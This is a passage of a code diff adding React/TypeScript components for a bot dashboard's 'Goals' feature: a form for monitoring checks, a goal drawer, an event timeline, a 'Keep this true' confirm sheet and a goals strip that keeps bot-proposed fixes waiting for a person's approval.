+ {info.operators.map((o) => (
+ <option key={o} value={o}>
+ {OPERATOR_WORDS[o]}
+ </option>
+ ))}
+ </select>
+ ) : (
+ <span className="flex min-h-[40px] sm:min-h-[36px] items-center px-1 text-xs text-zinc-400">{info.operators.length === 1 ? OPERATOR_WORDS[info.operators[0]] : 'has'}</span>
+ )}
+ <input
+ aria-label={target.label}
+ value={r.target}
+ onChange={(e) => set({ target: e.target.value })}
+ placeholder={target.placeholder}
+ inputMode={info.textTarget || r.metric === 'json_value' ? undefined : 'numeric'}
+ aria-invalid={invalid}
+ aria-describedby={describedBy}
+ spellCheck={false}
+ className={`${field} ${info.textTarget ? 'col-span-2 sm:col-span-1' : ''}`}
+ data-row-field="target"
+ />
+ </div>
+ {r.metric === 'json_value' && input('pointer', 'Where the value is in the answer', '/status', true)}
+ {r.metric === 'stdout_number' && <p className="text-[10px] text-zinc-500">Uses the first number the command prints.</p>}
+ </fieldset>
+ )}
+ {(r.kind === 'file_exists' || r.kind === 'file_contains' || r.kind === 'file_sha256') && input('path', 'File, in the bot’s folder', 'dist/index.html', true)}
+ {r.kind === 'file_contains' && input('text', 'Text it should contain', 'Version 2')}
+ {r.kind === 'file_sha256' && input('sha256', 'Fingerprint (SHA-256)', '64 letters and digits', true)}
+ <div className="grid gap-2 sm:grid-cols-[1fr_auto] sm:items-end">
+ {input('label', 'Name (optional)', 'Site answers')}
+ <label className="inline-flex items-center gap-2 min-h-[40px] sm:min-h-[36px] text-[11px] text-zinc-300" title="An advisory check shows on the card but doesn’t decide OK">
+ <input type="checkbox" checked={r.required} onChange={(e) => set({ required: e.target.checked })} className="h-4 w-4 accent-sky-500" data-row-field="required" />
+ Required for OK
+ </label>
+ </div>
+ {error && (
+ <p id={errId} className="text-[11px] text-rose-300" data-row-error>
+ {error}
+ </p>
+ )}
+ </li>
+ );
+};
+
+export const GoalForm: React.FC<{
+ goal: Goal | null;
+ bots: { id: string; name: string }[];
+ /** The sentence from "What should stay true?", carried over. */
+ seed?: string;
+ saving?: boolean;
+ error?: string | null;
+ onSave: (d: GoalDraft) => void;
+ onCancel: () => void;
+}> = ({ goal, bots, seed = '', saving = false, error = null, onSave, onCancel }) => {
+ const id = useId();
+ const formRef = useRef<HTMLFormElement>(null);
+ const [f, setF] = useState<GoalFormState>(() => {
+ const base = formFromGoal(goal);
+ if (goal) return base;
+ const s = seed.trim();
+ return { ...base, kwantId: defaultBot(bots), title: s.length <= 120 ? s : '', description: s };
+ });
+ const [tried, setTried] = useState(false);
+ const [more, setMore] = useState(false);
+ const errors = useMemo(() => goalFormErrors(f), [f]);
+ const show = tried ? errors : {};
+ const set = (patch: Partial<GoalFormState>) => setF((cur) => ({ ...cur, ...patch }));
+ const draft = goal?.status === 'draft';
+ // A bot this person can't see any more still shows, so editing doesn't silently move the goal.
+ const botOptions = useMemo(() => {
+ const list = sortedBots(bots);
+ if (f.kwantId && !list.some((b) => b.id === f.kwantId)) list.unshift({ id: f.kwantId, name: 'A bot not on this board' });
+ return list;
+ }, [bots, f.kwantId]);
+
+ const submit = (e: React.FormEvent) => {
+ e.preventDefault();
+ setTried(true);
+ if (hasFormErrors(errors)) {
+ // A problem behind "More options" opens it. Then move to the first problem.
+ if (errors.budget) setMore(true);
+ requestAnimationFrame(() => formRef.current?.querySelector<HTMLElement>('[aria-invalid="true"]')?.focus());
+ return;
+ }
+ if (f.kwantId) saveBot(f.kwantId);
+ onSave(draftFromForm(f));
+ };
+
+ return (
+ <form ref={formRef} onSubmit={submit} noValidate className="space-y-4" data-goal-form>
+ <div className="space-y-1">
+ <label htmlFor={`${id}-title`} className="block text-xs font-medium text-zinc-200">
+ Name
+ </label>
+ <input
+ id={`${id}-title`}
+ value={f.title}
+ onChange={(e) => set({ title: e.target.value })}
+ placeholder="The site stays up"
+ aria-invalid={!!show.title}
+ aria-describedby={show.title ? `${id}-title-err` : undefined}
+ className={field}
+ data-field="title"
+ />
+ {show.title && (
+ <p id={`${id}-title-err`} className="text-[11px] text-rose-300">
+ {show.title}
+ </p>
+ )}
+ </div>
+ <div className="space-y-1">
+ <label htmlFor={`${id}-desc`} className="block text-xs font-medium text-zinc-200">
+ What should stay true <span className="font-normal text-zinc-500">(optional)</span>
+ </label>
+ <textarea
+ id={`${id}-desc`}
+ value={f.description}
+ onChange={(e) => set({ description: e.target.value })}
+ rows={2}
+ placeholder="kwant.si answers, and the sign-up page loads."
+ className={`${field} resize-y`}
+ data-field="description"
+ />
+ <p className="text-[10px] text-zinc-500">If it breaks, the fix starts from this and the failing check’s output.</p>
+ </div>
+
+ <fieldset className="space-y-2" data-field="checks">
+ <legend className="text-xs font-medium text-zinc-200">Checks</legend>
+ <p className="text-[10px] text-zinc-500">These run on their own, without a bot. OK needs every required check to pass.</p>
+ <ul className="space-y-2">
+ {f.checks.map((r, i) => (
+ <CheckRowFields
+ key={r.key}
+ row={r}
+ index={i}
+ error={show.rows?.[r.key] ?? null}
+ canRemove={f.checks.length > 1}
+ onChange={(nr) => set({ checks: f.checks.map((x) => (x.key === r.key ? nr : x)) })}
+ onRemove={() => set({ checks: f.checks.filter((x) => x.key !== r.key) })}
+ />
+ ))}
+ </ul>
+ {show.checks && (
+ <p className="text-[11px] text-rose-300" role="alert">
+ {show.checks}
+ </p>
+ )}
+ {f.checks.length < MAX_CHECKS && (
+ <button type="button" onClick={() => set({ checks: [...f.checks, emptyCheckRow()] })} className={plainBtn} data-add-check>
+ <Plus size={12} aria-hidden="true" /> Add a check
+ </button>
+ )}
+ </fieldset>
+
+ <div className="space-y-1">
+ <label htmlFor={`${id}-bot`} className="block text-xs font-medium text-zinc-200">
+ Which bot fixes it
+ </label>
+ <select
+ id={`${id}-bot`}
+ value={f.kwantId}
+ onChange={(e) => set({ kwantId: e.target.value })}
+ aria-invalid={!!show.kwantId}
+ aria-describedby={show.kwantId ? `${id}-bot-err` : undefined}
+ className={field}
+ data-field="bot"
+ >
+ <option value="">{f.mode === 'watch' ? 'No bot: just tell me' : 'Pick a bot'}</option>
+ {botOptions.map((b) => (
+ <option key={b.id} value={b.id}>
+ {b.name}
+ </option>
+ ))}
+ </select>
+ {show.kwantId && (
+ <p id={`${id}-bot-err`} className="text-[11px] text-rose-300">
+ {show.kwantId}
+ </p>
+ )}
+ {!show.kwantId && f.mode !== 'watch' && <p className="text-[10px] text-zinc-500">If it breaks: {MODE_OPTIONS.find((o) => o.value === f.mode)?.hint}</p>}
+ </div>
+
+ {/* Everything with a default sits behind More options (B.0 rule 6). */}
+ <div className="rounded-lg border border-zinc-800" data-more-options>
+ <button
+ type="button"
+ aria-expanded={more}
+ aria-controls={`${id}-more`}
+ onClick={() => setMore((v) => !v)}
+ className={`flex w-full items-center justify-between gap-2 min-h-[40px] px-2.5 text-left text-xs text-zinc-200 rounded-lg hover:bg-zinc-900 ${focusRing}`}
+ data-more-toggle
+ >
+ <span>
+ More options
+ <span className="text-zinc-500">
+ {' '}
+ · every {intervalLabel(f.interval)}, {modeLabel(f.mode).toLowerCase()}, {priorityLabel(f.priority).toLowerCase()} priority
+ </span>
+ </span>
+ <ChevronDown size={14} className={`shrink-0 ${more ? 'rotate-180' : ''}`} aria-hidden="true" />
+ </button>
+ {more && (
+ <div id={`${id}-more`} className="space-y-4 border-t border-zinc-800 p-2.5">
+ <div className="grid gap-3 sm:grid-cols-2">
+ <div className="min-w-0 space-y-1">
+ <label htmlFor={`${id}-every`} className="block text-xs font-medium text-zinc-200">
+ Check every
+ </label>
+ <select id={`${id}-every`} value={f.interval} onChange={(e) => set({ interval: Number(e.target.value) })} className={field} data-field="interval">
+ {intervalOptions(f.interval).map((m) => (
+ <option key={m} value={m}>
+ {intervalLabel(m)}
+ </option>
+ ))}
+ </select>
+ </div>
+ <div className="min-w-0 space-y-1">
+ <label htmlFor={`${id}-prio`} className="block text-xs font-medium text-zinc-200">
+ Priority
+ </label>
+ <select id={`${id}-prio`} value={f.priority} onChange={(e) => set({ priority: Number(e.target.value) })} className={field} data-field="priority">
+ {PRIORITY_OPTIONS.map((o) => (
+ <option key={o.value} value={o.value}>
+ {o.label}
+ {o.value === 2 ? ' (default)' : ''}
+ </option>
+ ))}
+ </select>
+ <p className="text-[10px] text-zinc-500">When two goals in one folder break, the higher one is fixed first.</p>
+ </div>
+ </div>
+ <fieldset className="space-y-1.5" data-field="mode">
+ <legend className="text-xs font-medium text-zinc-200">When it breaks</legend>
+ {MODE_OPTIONS.map((o) => (
+ <label key={o.value} className={`flex items-start gap-2 rounded-lg border px-2.5 py-2 min-h-[40px] cursor-pointer ${f.mode === o.value ? 'border-sky-500/50 bg-sky-500/10' : 'border-zinc-800 hover:border-zinc-700'}`}>
+ <input type="radio" name={`${id}-mode`} value={o.value} checked={f.mode === o.value} onChange={() => set({ mode: o.value })} className="mt-0.5 h-4 w-4 accent-sky-500" />
+ <span className="min-w-0">
+ <span className="block text-xs text-zinc-100">
+ {o.label}
+ {o.value === 'suggest' && <span className="text-zinc-500"> (default)</span>}
+ </span>
+ <span className="block text-[11px] text-zinc-500">{o.hint}</span>
+ </span>
+ </label>
+ ))}
+ </fieldset>
+ <div className="grid gap-3 sm:grid-cols-2">
+ <div className="min-w-0 space-y-1">
+ <label htmlFor={`${id}-confirm`} className="block text-xs font-medium text-zinc-200">
+ Counts as broken after
+ </label>
+ <select id={`${id}-confirm`} value={f.confirmFailures} onChange={(e) => set({ confirmFailures: Number(e.target.value) })} className={field} data-field="confirm">
+ {[1, 2, 3, 4, 5].map((n) => (
+ <option key={n} value={n}>
+ {n === 1 ? '1 failed check' : `${n} failed checks in a row`}
+ {n === 2 ? ' (default)' : ''}
+ </option>
+ ))}
+ </select>
+ </div>
+ <div className="min-w-0 space-y-1">
+ <label htmlFor={`${id}-budget`} className="block text-xs font-medium text-zinc-200">
+ Token limit for fixes
+ </label>
+ <input
+ id={`${id}-budget`}
+ value={f.budget}
+ onChange={(e) => set({ budget: e.target.value })}
+ inputMode="numeric"
+ placeholder="No limit"
+ aria-invalid={!!show.budget}
+ aria-describedby={show.budget ? `${id}-budget-err` : undefined}
+ className={field}
+ data-field="budget"
+ />
+ {show.budget && (
+ <p id={`${id}-budget-err`} className="text-[11px] text-rose-300">
+ {show.budget}
+ </p>
+ )}
+ </div>
+ </div>
+ </div>
+ )}
+ </div>
+
+ {error && (
+ <p role="alert" className={`rounded-lg border border-rose-500/30 bg-rose-500/5 px-3 py-2 text-[11px] text-rose-200 ${wrap}`} data-form-error>
+ {error}
+ </p>
+ )}
+ <div className="flex flex-wrap items-center gap-2 pt-1">
+ <button type="submit" disabled={saving} className={mainBtn} data-goal-save>
+ {saving && <Loader2 size={12} className={spin} aria-hidden="true" />}
+ {goal ? 'Save changes' : 'Create goal'}
+ </button>
+ <button type="button" onClick={onCancel} className={quietBtn}>
+ Cancel
+ </button>
+ {!goal && <p className="w-full text-[10px] text-zinc-500">It’s checked right away, then every {intervalLabel(f.interval)}. You hear about it only when it breaks or recovers.</p>}
+ {draft && <p className="w-full text-[10px] text-zinc-500">It stays a draft until you approve it.</p>}
+ </div>
+ </form>
+ );
+};
+
+// ---------- Drawer ----------
+
+/** The goal drawer: a side panel on desktop, full screen on a phone. Escape closes it and focus goes back. */
+export const GoalPanel: React.FC<{ title: string; onClose: () => void; children: React.ReactNode }> = ({ title, onClose, children }) => {
+ const closeRef = useRef<HTMLButtonElement>(null);
+ const headingId = useId();
+ const close = useRef(onClose);
+ close.current = onClose;
+ useEffect(() => {
+ const back = document.activeElement as HTMLElement | null;
+ closeRef.current?.focus();
+ const onKey = (e: KeyboardEvent) => {
+ if (e.key === 'Escape') close.current();
+ };
+ window.addEventListener('keydown', onKey);
+ return () => {
+ window.removeEventListener('keydown', onKey);
+ // A goal deleted from its drawer takes its row with it: focus goes to New goal instead of the page.
+ if (back?.isConnected) back.focus();
+ else document.querySelector<HTMLElement>('[data-new-goal]')?.focus();
+ };
+ }, []);
+ return (
+ <div className="fixed inset-0 z-50 flex justify-end" data-goal-panel>
+ <button type="button" aria-label="Close" tabIndex={-1} onClick={onClose} className="absolute inset-0 bg-black/50 cursor-default" />
+ <div role="dialog" aria-modal="true" aria-labelledby={headingId} className="relative w-full sm:max-w-xl h-full flex flex-col bg-zinc-950 sm:border-l border-zinc-800 shadow-2xl">
+ <div className="min-h-14 py-2 px-3 sm:px-5 border-b border-zinc-800/80 flex items-start gap-2 bg-zinc-900/30">
+ <h3 id={headingId} className={`flex-1 min-w-0 pt-1.5 text-sm font-semibold text-zinc-100 ${wrap}`}>
+ {title}
+ </h3>
+ <button ref={closeRef} type="button" onClick={onClose} aria-label="Close" className={`shrink-0 p-2 rounded-lg text-zinc-300 hover:text-zinc-100 hover:bg-zinc-800 ${focusRing}`}>
+ <X size={18} aria-hidden="true" />
+ </button>
+ </div>
+ <div className="flex-1 overflow-y-auto overflow-x-hidden p-4 sm:p-5">{children}</div>
+ </div>
+ </div>
+ );
+};
+
+const DOT: Record<ReturnType<typeof goalEventTone>, string> = {
+ good: 'bg-emerald-400',
+ bad: 'bg-rose-400',
+ warn: 'bg-amber-400',
+ plain: 'bg-zinc-500',
+};
+
+/** Oldest first, as the story went: broke → looked into → approved → fixed → verified. */
+export const GoalTimeline: React.FC<{ events: GoalEvent[]; names: Record<string, string>; now: number; onOpenTask?: (id: string) => void }> = ({ events, names, now, onOpenTask }) => {
+ if (events.length === 0) return <p className="text-[11px] text-zinc-500">Nothing has happened yet.</p>;
+ return (
+ <ol className="space-y-2 border-l border-zinc-800 pl-3" data-goal-timeline>
+ {events.map((e) => {
+ const task = eventTaskId(e);
+ const quote = goalEventQuote(e);
+ return (
+ <li key={e.id} className="relative text-[11px]" data-event={e.kind}>
+ <span className={`absolute -left-[17px] top-1 h-2 w-2 rounded-full ${DOT[goalEventTone(e.kind)]}`} aria-hidden="true" />
+ <span className={`text-zinc-200 ${wrap}`}>{goalEventText(e, names)}</span>
+ {task && onOpenTask && (
+ <>
+ {' '}
+ <button type="button" onClick={() => onOpenTask(task)} className={`text-sky-300 underline underline-offset-2 hover:text-sky-200 rounded ${focusRing}`}>
+ Open task
+ </button>
+ </>
+ )}
+ <time dateTime={e.created_at} title={e.created_at ? new Date(e.created_at).toLocaleString() : undefined} className="text-zinc-500">
+ {' '}
+ · {ago(e.created_at, now)}
+ </time>
+ {quote && (
+ <blockquote className={`mt-1 max-h-32 overflow-auto border-l-2 border-zinc-700 pl-2 text-zinc-400 whitespace-pre-wrap ${wrap}`} data-event-quote>
+ {quote}
+ </blockquote>
+ )}
+ </li>
+ );
+ })}
+ </ol>
+ );
+};
+
+const missionLine = (m: GoalMission) =>
+ [m.status ? missionStatusLabel(m.status).label : null, m.attempt > 1 ? `attempt ${m.attempt}` : null, m.outcome ? m.outcome.replace(/_/g, ' ') : null].filter(Boolean).join(' · ');
+
+export const GoalDetailBody: React.FC<{
+ detail: GoalDetail;
+ names: Record<string, string>;
+ titles?: Record<string, string>;
+ now: number;
+ busy: boolean;
+ error: string | null;
+ onAction: (a: GoalAction) => void;
+ onOpenTask?: (id: string) => void;
+ onOpenMission?: (id: string) => void;
+ /** The held task this person already said Not now to on this device. */
+ notNowTask?: string | null;
+}> = ({ detail: d, names, titles = {}, now, busy, error, onAction, onOpenTask, onOpenMission, notNowTask = null }) => {
+ const raw: Goal = { ...d.goal, checks: d.checks.length ? d.checks : d.goal.checks };
+ const g: Goal = { ...raw, raw_status: raw.status, status: displayStatus(raw, d.events, now, notNowTask) };
+ const draft = g.status === 'draft';
+ const look = goalStatusLook(g.status);
+ const decision = goalDecision(g, d.events, now, notNowTask);
+ const work = currentWorkText(g, titles);
+ const missions = d.missions;
+ return (
+ <div className="space-y-5" data-goal-detail={g.id}>
+ <div className="space-y-1.5">
+ <div className="flex flex-wrap items-center gap-2">
+ <GoalStatusPill status={g.status} />
+ {/* A draft's hint already says nothing runs yet. */}
+ {!draft && <span className="text-[11px] text-zinc-500">{scheduleText(g, now)}</span>}
+ </div>
+ <p className="text-[11px] text-zinc-400">{look.hint}</p>
+ </div>
+
+ {decision?.kind === 'run' && <DecisionCard goal={g} decision={decision} names={names} now={now} busy={busy} onAction={onAction} />}
+ {decision?.kind === 'declined' && (
+ <div className="flex flex-wrap items-center gap-2 rounded-lg border border-zinc-700 bg-zinc-900/60 px-3 py-2 text-[11px]" data-goal-declined>
+ <p className={`min-w-0 flex-1 text-zinc-300 ${wrap}`}>{declinedText(decision.at, now)}</p>
+ {decision.taskId && (
+ <button type="button" disabled={busy} onClick={() => onAction('fix')} className={quietBtn} data-goal-fix data-goal-fix-quiet>
+ Fix it
+ </button>
+ )}
+ </div>
+ )}
+ {decision?.kind === 'needs_you' && (
+ <div className="rounded-lg border border-amber-500/30 bg-amber-500/5 px-3 py-2 text-[11px] space-y-1" data-goal-needs-you>
+ <p className={`text-amber-200 ${wrap}`}>{decision.text}.</p>
+ <p className="text-zinc-400">Nothing runs on its own until you act: look at the checks below, then Check now, or edit the goal.</p>
+ </div>
+ )}
+ {draft && (
+ <p className="rounded-lg border border-sky-500/30 bg-sky-500/5 px-3 py-2 text-[11px] text-sky-100" data-goal-draft-note>
+ {(g.created_by && g.created_by !== 'person' && names[g.created_by]) || 'A bot'} proposed this. Read the checks below: they run exactly as shown, and only after you approve.
+ </p>
+ )}
+
+ {g.description && (
+ <section className="space-y-1">
+ <h4 className={heading}>What should stay true</h4>
+ <p className={`text-xs text-zinc-200 whitespace-pre-wrap ${wrap}`}>{g.description}</p>
+ </section>
+ )}
+ <section className="space-y-1.5">
+ <h4 className={heading}>{draft ? 'Checks it would run' : 'Checks'}</h4>
+ {g.checks.length === 0 ? (
+ <p className="text-[11px] text-zinc-500">No checks.</p>
+ ) : draft ? (
+ <ul className="space-y-1.5">
+ {g.checks.map((c) => (
+ <VerbatimCheck key={c.id} check={c} />
+ ))}
+ </ul>
+ ) : (
+ <ul className="space-y-2">
+ {g.checks.map((c) => (
+ <GoalCheckLine key={c.id} check={c} interval={g.interval_minutes} now={now} showOutput />
+ ))}
+ </ul>
+ )}
+ </section>
+
+ {(missions.length > 0 || d.fix_tasks.length > 0 || work) && (
+ <section className="space-y-1.5" data-goal-work>
+ <h4 className={heading}>Current work</h4>
+ {g.status === 'waiting' && work && <p className="text-[11px] text-zinc-300">{work}</p>}
+ {missions.length > 0 && (
+ <ul className="space-y-1">
+ {missions.map((m) => (
+ <li key={`${m.id}-${m.attempt}`} className="flex items-start gap-1.5 text-[11px]" data-goal-mission={m.id} data-open={isOpenMission(m) ? '1' : '0'}>
+ <Wrench size={12} className={`mt-0.5 shrink-0 ${isOpenMission(m) ? 'text-violet-300' : 'text-zinc-600'}`} aria-hidden="true" />
+ <span className="min-w-0">
+ {onOpenMission ? (
+ <button type="button" onClick={() => onOpenMission(m.id)} className={`text-left text-sky-300 underline underline-offset-2 hover:text-sky-200 rounded ${wrap} ${focusRing}`}>
+ {m.title}
+ </button>
+ ) : (
+ <span className={`text-zinc-200 ${wrap}`}>{m.title}</span>
+ )}
+ {missionLine(m) && <span className="text-zinc-500"> · {missionLine(m)}</span>}
+ {isOpenMission(m) && m.run_task_id && <span className="text-amber-200"> · fix ready, waiting for your OK</span>}
+ </span>
+ </li>
+ ))}
+ </ul>
+ )}
+ {missions.length === 0 && d.fix_tasks.length > 0 && (
+ <ul className="space-y-1">
+ {d.fix_tasks.map((t) => (
+ <li key={t.id} className="flex items-start gap-1.5 text-[11px]" data-goal-fix-task={t.id}>
+ <Wrench size={12} className="mt-0.5 shrink-0 text-zinc-500" aria-hidden="true" />
+ <span className="min-w-0">
+ {onOpenTask ? (
+ <button type="button" onClick={() => onOpenTask(t.id)} className={`text-left text-sky-300 underline underline-offset-2 hover:text-sky-200 rounded ${wrap} ${focusRing}`}>
+ {t.title}
+ </button>
+ ) : (
+ <span className={`text-zinc-200 ${wrap}`}>{t.title}</span>
+ )}
+ <span className="text-zinc-500"> · {t.held ? 'fix ready, waiting for your OK' : stateLabel(t.state).label}</span>
+ </span>
+ </li>
+ ))}
+ </ul>
+ )}
+ </section>
+ )}
+
+ <dl className="grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 text-[11px]">
+ {draft && (
+ <>
+ <dt className="text-zinc-500">Proposed by</dt>
+ <dd className={`text-zinc-200 ${wrap}`}>{(g.created_by && names[g.created_by]) ?? 'A bot'}</dd>
+ </>
+ )}
+ <dt className="text-zinc-500">Fixed by</dt>
+ <dd className={`text-zinc-200 ${wrap}`}>{botName(g.kwant_id, names) ?? 'No bot: you just hear about it'}</dd>
+ <dt className="text-zinc-500">When it breaks</dt>
+ <dd className="text-zinc-200">{modeLabel(g.mode)}</dd>
+ <dt className="text-zinc-500">Check every</dt>
+ <dd className="text-zinc-200">{intervalLabel(g.interval_minutes)}</dd>
+ <dt className="text-zinc-500">Priority</dt>
+ <dd className="text-zinc-200">{priorityLabel(g.priority)}</dd>
+ <dt className="text-zinc-500">Spent on fixes</dt>
+ <dd className="text-zinc-200">{spentText(d.spent_tokens) ?? 'Nothing yet'}</dd>
+ </dl>
+
+ <section className="space-y-1.5">
+ <h4 className={heading}>What happened</h4>
+ <GoalTimeline events={d.events} names={names} now={now} onOpenTask={onOpenTask} />
+ </section>
+ {error && (
+ <p role="alert" className={`text-[11px] text-rose-300 ${wrap}`} data-goal-detail-error>
+ {error}
+ </p>
+ )}
+ <GoalButtons goal={g} busy={busy} onAction={onAction} />
+ </div>
+ );
+};
+
+// ---------- Keep this true (on a verified task) ----------
+
+const passingOutcomeChecks = (checks: Check[]) => checks.filter((c) => c.required && c.status === 'passed');
+
+/**
+ * "Keep this true" on a Verified task with passing outcome checks: one confirm sheet showing the checks
+ * (B.0 rule 6). Confirming makes an active goal: the server copies the task's title and checks, and a draft
+ * it hands back is approved in the same tap.
+ */
+export const KeepTrueBox: React.FC<{
+ task: Pick<Task, 'id' | 'title' | 'state' | 'owner_kwant_id'>;
+ checks: Check[];
+ names?: Record<string, string>;
+ api?: Pick<GoalsApi, 'fromTask' | 'approve'>;
+ onOpenGoal?: (id: string) => void;
+}> = ({ task, checks, names = {}, api = goalsApi, onOpenGoal = openGoal }) => {
+ const [open, setOpen] = useState(false);
+ const [busy, setBusy] = useState(false);
+ const [error, setError] = useState<string | null>(null);
+ const [made, setMade] = useState<Goal | null>(null);
+ // The server sends the same goal back for a repeat (200): then it was kept true before this tap.
+ const [already, setAlready] = useState(false);
+ const keys = useRef<{ make?: string; approve?: string }>({});
+ const busyRef = useRef(false);
+ const yesRef = useRef<HTMLButtonElement>(null);
+ const passing = passingOutcomeChecks(checks);
+ useEffect(() => {
+ if (open) yesRef.current?.focus();
+ }, [open]);
+ if (task.state !== 'verified' || passing.length === 0) return null;
+ const bot = botName(task.owner_kwant_id ?? null, names);
+ const confirm = async () => {
+ if (busyRef.current) return;
+ busyRef.current = true;
+ setBusy(true);
+ setError(null);
+ try {
+ const tapped = Date.now();
+ let g = await api.fromTask(task.id, (keys.current.make ??= newIdempotencyKey()));
+ if (g.status === 'draft') g = await api.approve(g.id, (keys.current.approve ??= newIdempotencyKey()));
+ keys.current = {};
+ const made_at = Date.parse(g.created_at);
+ setAlready(!Number.isNaN(made_at) && made_at < tapped - 2000);
+ setMade(g);
+ setOpen(false);
+ } catch (e) {
+ setError(errText(e, 'Couldn’t make the goal. Try again.'));
+ } finally {
+ busyRef.current = false;
+ setBusy(false);
+ }
+ };
+ if (made)
+ return (
+ <p role="status" className={`flex flex-wrap items-center gap-x-2 text-[11px] text-emerald-300 ${wrap}`} data-keep-true-done>
+ <CheckCircle2 size={13} aria-hidden="true" />{' '}
+ {already ? `Already kept true: “${made.title}”.` : `Goal added: “${made.title}”. It’s checked every ${intervalLabel(made.interval_minutes)}.`}
+ <button type="button" onClick={() => onOpenGoal(made.id)} className={linkBtn} data-keep-true-open>
+ Open goal
+ </button>
+ </p>
+ );
+ if (!open)
+ return (
+ <button type="button" onClick={() => setOpen(true)} className={quietBtn} data-keep-true>
+ <Target size={13} aria-hidden="true" /> Keep this true
+ </button>
+ );
+ return (
+ <div role="group" aria-label="Keep this true" className="rounded-lg border border-sky-500/30 bg-sky-500/5 p-3 space-y-2 text-[11px]" data-keep-true-sheet>
+ <p className="text-xs font-medium text-zinc-100">Keep this true</p>
+ <p className="text-zinc-300">
+ These checks keep running every hour.{bot ? ` If one breaks, ${bot} looks into it and suggests a fix for your OK.` : ' If one breaks, you hear about it.'}
+ </p>
+ <ul className="space-y-1">
+ {passing.map((c) => (
+ <li key={c.id} className="rounded-lg border border-zinc-800 bg-zinc-950/60 px-2 py-1.5" data-keep-true-check={c.id}>
+ <span className="text-zinc-400">{checkKindLabel(c.kind)}: </span>
+ <span className={`font-mono text-zinc-100 ${wrap}`}>{checkTarget(c)}</span>
+ </li>
+ ))}
+ </ul>
+ {error && (
+ <p role="alert" className={`text-rose-300 ${wrap}`} data-keep-true-error>
+ {error}
+ </p>
+ )}
+ <div className="flex flex-wrap gap-2">
+ <button ref={yesRef} type="button" disabled={busy} onClick={() => void confirm()} className={mainBtn} data-keep-true-yes>
+ {busy && <Loader2 size={12} className={spin} aria-hidden="true" />}
+ Keep it true
+ </button>
+ <button type="button" disabled={busy} onClick={() => setOpen(false)} className={quietBtn}>
+ Never mind
+ </button>
+ </div>
+ </div>
+ );
+};
+
+/** "Goal: <title>" on a mission made for a goal; opens the goal's drawer. */
+export const GoalChip: React.FC<{ goal: { id: string; title: string }; onOpen?: (id: string) => void }> = ({ goal, onOpen = openGoal }) => (
+ <button
+ type="button"
+ onClick={() => onOpen(goal.id)}
+ title={`Open the goal “${goal.title}”`}
+ className={`inline-flex max-w-full items-center gap-1 min-h-[32px] sm:min-h-[24px] rounded-full border border-sky-500/30 bg-sky-500/10 px-2 text-[11px] text-sky-200 hover:bg-sky-500/20 ${focusRing}`}
+ data-goal-chip={goal.id}
+ >
+ <Target size={11} className="shrink-0" aria-hidden="true" />
+ <span className="truncate">Goal: {goal.title}</span>
+ </button>
+);
+
+// ---------- The strip ----------
+
+type Panel = { kind: 'new' } | { kind: 'form'; seed: string } | { kind: 'edit'; goal: Goal } | { kind: 'goal'; id: string };
+
+const OPEN_KEY = 'kwnt.goals.open';
+const NOT_NOW_KEY = 'kwnt.goals.notnow';
+const readJson = <T,>(key: string, fallback: T): T => {
+ try {
+ const v = localStorage.getItem(key);
+ return v === null ? fallback : (JSON.parse(v) as T);
+ } catch {
+ return fallback;
+ }
+};
+const writeJson = (key: string, v: unknown) => {
+ try {
+ localStorage.setItem(key, JSON.stringify(v));
+ } catch {
+ /* private mode */
+ }
+};
+
+// Cards shown on a phone before "Show all": three.
+const PHONE_CAP = 3;
+// The strip's own phone width (Tailwind's sm), so the rows and the default agree.
+const PHONE_QUERY = '(max-width: 639px)';
+const usePhone = (): boolean => {
+ const [phone, setPhone] = useState(() => typeof window !== 'undefined' && !!window.matchMedia?.(PHONE_QUERY).matches);
+ useEffect(() => {
+ const mq = window.matchMedia?.(PHONE_QUERY);
+ const onMq = () => setPhone(!!mq?.matches);
+ mq?.addEventListener?.('change', onMq);
+ return () => mq?.removeEventListener?.('change', onMq);
+ }, []);
+ return phone;
+};
+
+/** How long "is drafting checks" shows before it gives up waiting for the draft. */
+const DRAFT_WAIT_MS = 10 * 60_000;
+
+/**
+ * The board's Goals strip. Loads its goals; tests and screenshots pass `initial` (the goals as loaded) and
+ * the API. Renders nothing while loading, or on a server without Goals (404/405), so the board looks as in
+ * 0.6.4. `hidden` keeps only the drawer (a mission's own view, where the strip doesn't show but its
+ * "Goal:" chip still opens the goal).
+ */
+export const GoalsStrip: React.FC<{
+ names: Record<string, string>;
+ /** Bots that can draft and fix a goal; defaults to everyone in `names`. */
+ bots?: { id: string; name: string }[];
+ spaceId?: string | null;
+ now?: number;
+ onOpenTask?: (id: string) => void;
+ onOpenMission?: (id: string) => void;
+ initial?: { goals: Goal[] };
+ /** Open the goal drawer for this id at first (screenshots, a notification tap). */
+ openGoalId?: string;
+ /** Open this panel at first (screenshots). */
+ openPanel?: 'new' | 'form';
+ hidden?: boolean;
+ api?: GoalsApi;
+}> = ({ names, bots, spaceId = null, now = Date.now(), onOpenTask, onOpenMission, initial, openGoalId, openPanel, hidden = false, api = goalsApi }) => {
+ const headId = useId();
+ const listId = useId();
+ const [goals, setGoals] = useState<Goal[] | null>(initial ? initial.goals : null);
+ const [unsupported, setUnsupported] = useState(false);
+ const [loadError, setLoadError] = useState<string | null>(null);
+ const [reloading, setReloading] = useState(false);
+ const [open, setOpen] = useState<boolean>(() => readJson<unknown>(OPEN_KEY, false) === 1 || readJson<unknown>(OPEN_KEY, false) === true);
+ const [notNow, setNotNow] = useState<Record<string, string>>(() => {
+ const v = readJson<unknown>(NOT_NOW_KEY, {});
+ return v && typeof v === 'object' ? (v as Record<string, string>) : {};
+ });
+ const phone = usePhone();
+ const [busyId, setBusyId] = useState<string | null>(null);
+ const [errors, setErrors] = useState<Record<string, string>>({});
+ const [panel, setPanel] = useState<Panel | null>(openGoalId ? { kind: 'goal', id: openGoalId } : openPanel === 'new' ? { kind: 'new' } : openPanel === 'form' ? { kind: 'form', seed: '' } : null);
+ const [detail, setDetail] = useState<GoalDetail | null>(null);
+ const [detailError, setDetailError] = useState<string | null>(null);
+ const [saving, setSaving] = useState(false);
+ const [formError, setFormError] = useState<string | null>(null);
+ const [notice, setNotice] = useState<string | null>(null);
+ const [drafting, setDrafting] = useState<{ bot: string; text: string; at: number; known: string[] } | null>(null);
+ // Detail reads for list rows that don't carry their incident (D8): the strip can show the decision without the drawer.
+ const [reads, setReads] = useState<Record<string, GoalDetail>>({});
+ const reading = useRef<Set<string>>(new Set());
+ // How many of those reads this list load has used; a fresh list gets three again.
+ const readsUsed = useRef(0);
